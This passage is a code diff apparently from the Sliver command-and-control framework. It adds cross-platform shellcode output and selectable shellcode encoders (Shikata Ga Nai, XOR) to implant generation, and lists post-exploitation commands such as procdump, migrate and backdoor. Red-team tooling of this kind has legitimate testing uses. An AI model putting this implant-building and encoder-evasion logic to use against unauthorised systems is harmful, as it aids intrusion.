+		f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
+
+		// Shellcode generation options:
+		// - Windows: Donut
+		// - macOS: beignet
+		// - Linux: malasada
+		f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
+		f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows, macOS, and Linux shellcode)")
+		f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
+		f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
+		f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
+		f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
+		f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
+		f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
+
+		// Backwards-compatible deprecated Donut flags (hidden).
+		f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
+		_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
+		_ = f.MarkHidden("donut-entropy")
+		f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
+		_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
+		_ = f.MarkHidden("donut-compress")
+		f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
+		_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
+		_ = f.MarkHidden("donut-exitopt")
+		f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
+		_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
+		_ = f.MarkHidden("donut-bypass")
+		f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
+		_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
+		_ = f.MarkHidden("donut-headers")
+		f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
+		_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
+		_ = f.MarkHidden("donut-thread")
+		f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
+		_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
+		_ = f.MarkHidden("donut-unicode")
+		f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
+		_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
+		_ = f.MarkHidden("donut-oep")
 	})
 }
 
@@ -354,6 +395,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
 		(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
 		(*comp)["format"] = FormatCompleter()
 		(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
+		(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
 		(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
 		(*comp)["c2profile"] = HTTPC2Completer(con)
 	})

client/command/generate/generate.go

@@ -28,6 +28,7 @@ import (
 	"os/signal"
 	"path/filepath"
 	"runtime"
+	"sort"
 	"strconv"
 	"strings"
 	"time"
@@ -79,6 +80,7 @@ var (
 		"darwin/arm64":  true,
 		"linux/386":     true,
 		"linux/amd64":   true,
+		"linux/arm64":   true,
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
@@ -353,7 +355,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 	isSharedLib := false
 	isService := false
 	isShellcode := false
-	sgnEnabled := false
 
 	var exports []string
 	exportsArg, _ := cmd.Flags().GetString("exports")
@@ -377,8 +378,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 	case "shellcode":
 		configFormat = clientpb.OutputFormat_SHELLCODE
 		isShellcode = true
-		sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
-		sgnEnabled = !sgnEnabled
 	case "service":
 		configFormat = clientpb.OutputFormat_SERVICE
 		isService = true
@@ -395,9 +394,28 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 	if targetOS == "" || targetArch == "" {
 		return "", nil
 	}
-	if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
-		con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
-		return "", nil
+	if configFormat == clientpb.OutputFormat_SHELLCODE {
+		switch targetOS {
+		case "windows":
+			// Server-side implementation supports amd64 and 386 only.
+			if targetArch != "amd64" && targetArch != "386" {
+				con.PrintErrorf("Windows shellcode format is only supported on windows/amd64 and windows/386\n")
+				return "", nil
+			}
+		case "darwin":
+			if targetArch != "arm64" {
+				con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
+				return "", nil
+			}
+		case "linux":
+			if targetArch != "amd64" && targetArch != "arm64" {
+				con.PrintErrorf("Linux shellcode format is only supported on linux/amd64 and linux/arm64\n")
+				return "", nil
+			}
+		default:
+			con.PrintErrorf("Shellcode format is currently only supported on Windows, macOS, and Linux\n")
+			return "", nil
+		}
 	}
 	if len(namedPipeC2) > 0 && targetOS != "windows" {
 		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
@@ -409,6 +427,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 		return "", nil
 	}
 
+	shellcodeConfig, err := parseShellcodeFlags(cmd, targetOS, configFormat, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return "", nil
+	}
+
+	shellcodeEncoder, err := parseShellcodeEncoderFlag(cmd, targetArch, configFormat, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return "", nil
+	}
+	sgnEnabled := shellcodeEncoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI // legacy field
+
 	var tunIP net.IP
 	if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
 		uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
@@ -446,6 +477,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 		Debug:            debug,
 		Evasion:          evasion,
 		SGNEnabled:       sgnEnabled,
+		ShellcodeEncoder: shellcodeEncoder,
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,
@@ -480,11 +512,272 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 
 		DebugFile:        debugFile,
 		HTTPC2ConfigName: c2Profile,
+		ShellcodeConfig:  shellcodeConfig,
 	}
 
 	return name, config
 }
 
+func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
+	// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
+	shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
+	if !cmd.Flags().Changed("shellcode-entropy") {
+		shellcodeEntropy, _ = cmd.Flags().GetUint32("donut-entropy")
+	}
+
+	shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
+	if !cmd.Flags().Changed("shellcode-compress") {
+		shellcodeCompressEnabled, _ = cmd.Flags().GetBool("donut-compress")
+	}
+
+	shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
+	if !cmd.Flags().Changed("shellcode-exitopt") {
+		shellcodeExitOpt, _ = cmd.Flags().GetUint32("donut-exitopt")
+	}
+
+	shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
+	if !cmd.Flags().Changed("shellcode-bypass") {
+		shellcodeBypass, _ = cmd.Flags().GetUint32("donut-bypass")
+	}
+
+	shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
+	if !cmd.Flags().Changed("shellcode-headers") {
+		shellcodeHeaders, _ = cmd.Flags().GetUint32("donut-headers")
+	}
+
+	shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
+	if !cmd.Flags().Changed("shellcode-thread") {
+		shellcodeThread, _ = cmd.Flags().GetBool("donut-thread")
+	}
+
+	shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
+	if !cmd.Flags().Changed("shellcode-unicode") {
+		shellcodeUnicode, _ = cmd.Flags().GetBool("donut-unicode")
+	}
+
+	shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
+	if !cmd.Flags().Changed("shellcode-oep") {
+		shellcodeOEP, _ = cmd.Flags().GetUint32("donut-oep")
+	}
+
+	anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
+		cmd.Flags().Changed("shellcode-compress") ||
+		cmd.Flags().Changed("shellcode-exitopt") ||
+		cmd.Flags().Changed("shellcode-bypass") ||
+		cmd.Flags().Changed("shellcode-headers") ||
+		cmd.Flags().Changed("shellcode-thread") ||
+		cmd.Flags().Changed("shellcode-unicode") ||
+		cmd.Flags().Changed("shellcode-oep") ||
+		cmd.Flags().Changed("donut-entropy") ||
+		cmd.Flags().Changed("donut-compress") ||
+		cmd.Flags().Changed("donut-exitopt") ||
+		cmd.Flags().Changed("donut-bypass") ||
+		cmd.Flags().Changed("donut-headers") ||
+		cmd.Flags().Changed("donut-thread") ||
+		cmd.Flags().Changed("donut-unicode") ||
+		cmd.Flags().Changed("donut-oep")
+
+	if configFormat != clientpb.OutputFormat_SHELLCODE {
+		if anyChanged {
+			con.PrintWarnf("Shellcode options only apply when using `--format shellcode`, ignoring.\n")
+		}
+		return nil, nil
+	}
+
+	windowsOnlyChanged := cmd.Flags().Changed("shellcode-entropy") ||
+		cmd.Flags().Changed("shellcode-exitopt") ||
+		cmd.Flags().Changed("shellcode-bypass") ||
+		cmd.Flags().Changed("shellcode-headers") ||
+		cmd.Flags().Changed("shellcode-thread") ||
+		cmd.Flags().Changed("shellcode-unicode") ||
+		cmd.Flags().Changed("shellcode-oep") ||
+		cmd.Flags().Changed("donut-entropy") ||
+		cmd.Flags().Changed("donut-exitopt") ||
+		cmd.Flags().Changed("donut-bypass") ||
+		cmd.Flags().Changed("donut-headers") ||
+		cmd.Flags().Changed("donut-thread") ||
+		cmd.Flags().Changed("donut-unicode") ||
+		cmd.Flags().Changed("donut-oep")
+
+	// macOS and Linux shellcode currently only support compression.
+	if targetOS != "windows" {
+		if targetOS != "darwin" && targetOS != "linux" {
+			// parseCompileFlags normally blocks this, but keep a safe fallback.
+			if anyChanged {
+				con.PrintWarnf("Shellcode options are only supported on Windows, macOS, and Linux shellcode, ignoring.\n")
+			}
+			return nil, nil
+		}
+
+		if windowsOnlyChanged {
+			if targetOS == "darwin" {
+				con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
+			} else {
+				con.PrintWarnf("Windows-only shellcode options are ignored on Linux shellcode.\n")
+			}
+		}
+
+		shellcodeCompress := uint32(1)
+		if shellcodeCompressEnabled {
+			shellcodeCompress = 2
+		}
+		return &clientpb.ShellcodeConfig{
+			Compress: shellcodeCompress,
+		}, nil
+	}
+
+	if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
+		return nil, fmt.Errorf("shellcode-entropy must be between 1 and 3")
+	}
+	if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
+		return nil, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
+	}
+	if shellcodeBypass < 1 || shellcodeBypass > 3 {
+		return nil, fmt.Errorf("shellcode-bypass must be between 1 and 3")
+	}
+	if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
+		return nil, fmt.Errorf("shellcode-headers must be 1 or 2")
+	}
+
+	shellcodeCompress := uint32(1)
+	if shellcodeCompressEnabled {
+		shellcodeCompress = 2
+	}
+
+	return &clientpb.ShellcodeConfig{
+		Entropy:  shellcodeEntropy,
+		Compress: shellcodeCompress,
+		ExitOpt:  shellcodeExitOpt,
+		Bypass:   shellcodeBypass,
+		Headers:  shellcodeHeaders,
+		Thread:   shellcodeThread,
+		Unicode:  shellcodeUnicode,
+		OEP:      shellcodeOEP,
+	}, nil
+}
+
+func normalizeShellcodeEncoderName(name string) string {
+	normalized := strings.ToLower(strings.TrimSpace(name))
+	normalized = strings.ReplaceAll(normalized, "-", "_")
+	return normalized
+}
+
+func normalizeShellcodeArch(arch string) string {
+	normalized := strings.ToLower(strings.TrimSpace(arch))
+	switch normalized {
+	case "amd64", "x64", "x86_64":
+		return "amd64"
+	case "386", "x86", "i386":
+		return "386"
+	case "arm64", "aarch64":
+		return "arm64"
+	default:
+		return normalized
+	}
+}
+
+func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
+	if con == nil || con.Rpc == nil {
+		return nil, errors.New("no RPC client")
+	}
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
+}
+
+func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
+	if encoderMap == nil {
+		return nil
+	}
+	arch = normalizeShellcodeArch(arch)
+	archMap := encoderMap.GetEncoders()[arch]
+	if archMap == nil {
+		return nil
+	}
+
+	names := make([]string, 0, len(archMap.GetEncoders()))
+	for name := range archMap.GetEncoders() {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
+	if encoderMap == nil {
+		return clientpb.ShellcodeEncoder_NONE, false
+	}
+	arch = normalizeShellcodeArch(arch)
+	name = normalizeShellcodeEncoderName(name)
+	archMap := encoderMap.GetEncoders()[arch]
+	if archMap == nil {
+		return clientpb.ShellcodeEncoder_NONE, false
+	}
+	encoder, ok := archMap.GetEncoders()[name]
+	return encoder, ok
+}
+
+func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, configFormat clientpb.OutputFormat, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
+	rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
+	rawEncoder = strings.TrimSpace(rawEncoder)
+
+	if configFormat != clientpb.OutputFormat_SHELLCODE {
+		if cmd.Flags().Changed("shellcode-encoder") && rawEncoder != "" {
+			con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
+		}
+		return clientpb.ShellcodeEncoder_NONE, nil
+	}
+
+	if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
+		return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
+	}
+
+	normalized := normalizeShellcodeEncoderName(rawEncoder)
+	if normalized == "none" {
+		return clientpb.ShellcodeEncoder_NONE, nil
+	}
+
+	encoderMap, err := fetchShellcodeEncoderMap(con)
+	if err != nil {
+		return clientpb.ShellcodeEncoder_NONE, err
+	}
+
+	// If no encoder specified, prompt for a compatible encoder (or none).
+	if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
+		compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
+		if len(compatible) == 0 {
+			// No known compatible encoders for this arch.
+			return clientpb.ShellcodeEncoder_NONE, nil
+		}
+
+		options := append([]string{"none"}, compatible...)
+		choice := "none"
+		if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
+			return clientpb.ShellcodeEncoder_NONE, err
+		}
+		if normalizeShellcodeEncoderName(choice) == "none" {
+			return clientpb.ShellcodeEncoder_NONE, nil
+		}
+
+		encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
+		if !ok {
+			return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
+		}
+		return encoder, nil
+	}
+
+	// Encoder explicitly specified by name.
+	encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
+	if !ok {
+		compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
+		if len(compatible) == 0 {
+			return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
+		}
+		return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
+	}
+	return encoder, nil
+}
+
 // parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
 func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
 	trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
@@ -963,12 +1256,58 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
 	}
 	con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
 
+	fileData := generated.File.Data
+	if config.IsShellcode {
+		encoder := config.ShellcodeEncoder
+		legacySGN := false
+		if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
+			encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+			legacySGN = true
+		}
+		if encoder != clientpb.ShellcodeEncoder_NONE {
+			encoderName := map[clientpb.ShellcodeEncoder]string{
+				clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
+				clientpb.ShellcodeEncoder_XOR:            "xor",
+				clientpb.ShellcodeEncoder_XOR_DYNAMIC:    "xor_dynamic",
+			}[encoder]
+			if encoderName == "" {
+				return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
+			}
+			encoderMap, err := fetchShellcodeEncoderMap(con)
+			if err != nil {
+				return nil, err
+			}
+			if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
+				msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
+				if legacySGN {
+					con.PrintWarnf("%s, skipping.\n", msg)
+				} else {
+					return nil, errors.New(msg)
+				}
+			} else {
+				con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
+				resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+					Encoder:      encoder,
+					Architecture: config.GOARCH,
+					Iterations:   1,
+					BadChars:     []byte{},
+					Data:         fileData,
+				})
+				if err != nil {
+					return nil, err
+				}
+				con.Printf("success!\n")
+				fileData = resp.GetData()
+			}
+		}
+	}
+
 	saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
 	if err != nil {
 		return nil, err
 	}
 
-	err = os.WriteFile(saveTo, generated.File.Data, 0o700)
+	err = os.WriteFile(saveTo, fileData, 0o700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -1015,22 +1354,49 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
 
 	fileData := generated.File.Data
 	if config.IsShellcode {
-		if !config.SGNEnabled {
-			con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
-		} else {
-			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
-			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
-				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
-				Architecture: config.GOARCH,
-				Iterations:   1,
-				BadChars:     []byte{},
-				Data:         fileData,
-			})
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
+		encoder := config.ShellcodeEncoder
+		legacySGN := false
+		if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
+			encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+			legacySGN = true
+		}
+		if encoder != clientpb.ShellcodeEncoder_NONE {
+			encoderName := map[clientpb.ShellcodeEncoder]string{
+				clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
+				clientpb.ShellcodeEncoder_XOR:            "xor",
+				clientpb.ShellcodeEncoder_XOR_DYNAMIC:    "xor_dynamic",
+			}[encoder]
+			if encoderName == "" {
+				con.PrintWarnf("Unknown shellcode encoder enum %d, skipping.\n", int32(encoder))
 			} else {
-				con.Printf("success!\n")
-				fileData = resp.GetData()
+				encoderMap, err := fetchShellcodeEncoderMap(con)
+				if err != nil {
+					return nil, err
+				}
+				if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
+					msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
+					if legacySGN {
+						con.PrintWarnf("%s, skipping.\n", msg)
+					} else {
+						con.PrintErrorf("%s\n", msg)
+						return nil, errors.New(msg)
+					}
+				} else {
+					con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
+					resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+						Encoder:      encoder,
+						Architecture: config.GOARCH,
+						Iterations:   1,
+						BadChars:     []byte{},
+						Data:         fileData,
+					})
+					if err != nil {
+						con.PrintErrorf("%s\n", err)
+					} else {
+						con.Printf("success!\n")
+						fileData = resp.GetData()
+					}
+				}
 			}
 		}
 	}

client/command/generate/helpers.go

@@ -2,6 +2,7 @@ package generate
 
 import (
 	"context"
+	"errors"
 	"fmt"
 	"strings"
 
@@ -30,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
 	}
 	data = generated.GetFile().GetData()
 
-	if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
-		encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
-			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
-			Architecture: profile.Config.GOARCH,
-			Iterations:   1,
-			BadChars:     []byte{},
-			Data:         data,
-		})
-		if err != nil {
-			con.PrintErrorf("Error encoding shellcode")
-			return nil, err
+	if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
+		encoder := profile.Config.ShellcodeEncoder
+		legacySGN := false
+		if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
+			encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+			legacySGN = true
+		}
+		if encoder != clientpb.ShellcodeEncoder_NONE {
+			encoderName := map[clientpb.ShellcodeEncoder]string{
+				clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
+				clientpb.ShellcodeEncoder_XOR:            "xor",
+				clientpb.ShellcodeEncoder_XOR_DYNAMIC:    "xor_dynamic",
+			}[encoder]
+			if encoderName == "" {
+				return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
+			}
+
+			encoderMap, err := fetchShellcodeEncoderMap(con)
+			if err != nil {
+				return nil, err
+			}
+			if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
+				msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
+				if legacySGN {
+					con.PrintWarnf("%s, skipping.\n", msg)
+				} else {
+					return nil, errors.New(msg)
+				}
+			} else {
+				encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+					Encoder:      encoder,
+					Architecture: profile.Config.GOARCH,
+					Iterations:   1,
+					BadChars:     []byte{},
+					Data:         data,
+				})
+				if err != nil {
+					con.PrintErrorf("Error encoding shellcode")
+					return nil, err
+				}
+				data = encodeResp.Data
+			}
 		}
-		data = encodeResp.Data
 	}
 
 	_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)

client/command/generate/profiles-generate.go

@@ -20,8 +20,10 @@ package generate
 
 import (
 	"os"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/spf13/cobra"
 )
 
@@ -44,9 +46,40 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
 	}
 	profile := GetImplantProfileByName(name, con)
 	if profile != nil {
-		// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
-		if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
-			profile.Config.SGNEnabled = !SGNDisabled
+		// Override shellcode encoder if explicitly requested.
+		if cmd.Flags().Changed("shellcode-encoder") {
+			rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
+			rawEncoder = strings.TrimSpace(rawEncoder)
+			if rawEncoder == "" {
+				con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
+				return
+			}
+
+			normalized := normalizeShellcodeEncoderName(rawEncoder)
+			if normalized == "none" {
+				profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
+				profile.Config.SGNEnabled = false
+			} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
+				con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
+			} else {
+				encoderMap, err := fetchShellcodeEncoderMap(con)
+				if err != nil {
+					con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
+					return
+				}
+				encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
+				if !ok {
+					compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
+					if len(compatible) == 0 {
+						con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
+					} else {
+						con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
+					}
+					return
+				}
+				profile.Config.ShellcodeEncoder = encoder
+				profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+			}
 		}
 		_, err := compile(implantName, profile.Config, save, con)
 		if err != nil {

client/command/generate/profiles.go

@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
 		properties["obsymbols"] = "disabled"
 	}
 
-	if config.SGNEnabled {
-		properties["sgn"] = "enabled"
-	} else {
-		properties["sgn"] = "disabled"
+	properties["shellcodeencoder"] = "n/a"
+	if config.Format == clientpb.OutputFormat_SHELLCODE {
+		encoder := config.ShellcodeEncoder
+		if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
+			encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+		}
+		properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
+			clientpb.ShellcodeEncoder_NONE:           "none",
+			clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
+			clientpb.ShellcodeEncoder_XOR:            "xor",
+			clientpb.ShellcodeEncoder_XOR_DYNAMIC:    "xor_dynamic",
+		}[encoder]
+		if properties["shellcodeencoder"] == "" {
+			properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
+		}
 	}
 
 	reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
 		properties["obsymbols"],
 	})
 	tw.AppendRow(table.Row{
-		"Shikata Ga Nai (SGN) is",
-		properties["sgn"],
+		"Shellcode encoder is",
+		properties["shellcodeencoder"],
 	})
 
 	con.PrintInfof("Obfuscation\n")

client/command/help/long-help.go

@@ -47,38 +47,45 @@ var (
 		consts.GenerateStr:      generateHelp,
 		consts.StageListenerStr: stageListenerHelp,
 
-		consts.MsfStr:              msfHelp,
-		consts.MsfInjectStr:        msfInjectHelp,
-		consts.PsStr:               psHelp,
-		consts.PingStr:             pingHelp,
-		consts.KillStr:             killHelp,
-		consts.LsStr:               lsHelp,
-		consts.CdStr:               cdHelp,
-		consts.PwdStr:              pwdHelp,
-		consts.CatStr:              catHelp,
-		consts.DownloadStr:         downloadHelp,
-		consts.GrepStr:             grepHelp,
-		consts.HeadStr:             headHelp,
-		consts.TailStr:             tailHelp,
-		consts.UploadStr:           uploadHelp,
-		consts.MkdirStr:            mkdirHelp,
-		consts.RmStr:               rmHelp,
-		consts.ProcdumpStr:         procdumpHelp,
-		consts.ElevateStr:          elevateHelp,
-		consts.RunAsStr:            runAsHelp,
-		consts.ImpersonateStr:      impersonateHelp,
-		consts.RevToSelfStr:        revToSelfHelp,
-		consts.ExecuteStr:          executeHelp,
-		consts.ExecuteAssemblyStr:  executeAssemblyHelp,
-		consts.ExecuteShellcodeStr: executeShellcodeHelp,
-		consts.MigrateStr:          migrateHelp,
-		consts.SideloadStr:         sideloadHelp,
-		consts.TerminateStr:        terminateHelp,
-		consts.AliasesStr:          loadAliasHelp,
-		consts.PsExecStr:           psExecHelp,
-		consts.BackdoorStr:         backdoorHelp,
-		consts.SpawnDllStr:         spawnDllHelp,
-		consts.MountStr:            mountHelp,
+		consts.MsfStr:         msfHelp,
+		consts.MsfInjectStr:   msfInjectHelp,
+		consts.PsStr:          psHelp,
+		consts.PingStr:        pingHelp,
+		consts.KillStr:        killHelp,
+		consts.LsStr:          lsHelp,
+		consts.CdStr:          cdHelp,
+		consts.PwdStr:         pwdHelp,
+		consts.CatStr:         catHelp,
+		consts.EditStr:        editHelp,
+		consts.HexEditStr:     hexEditHelp,
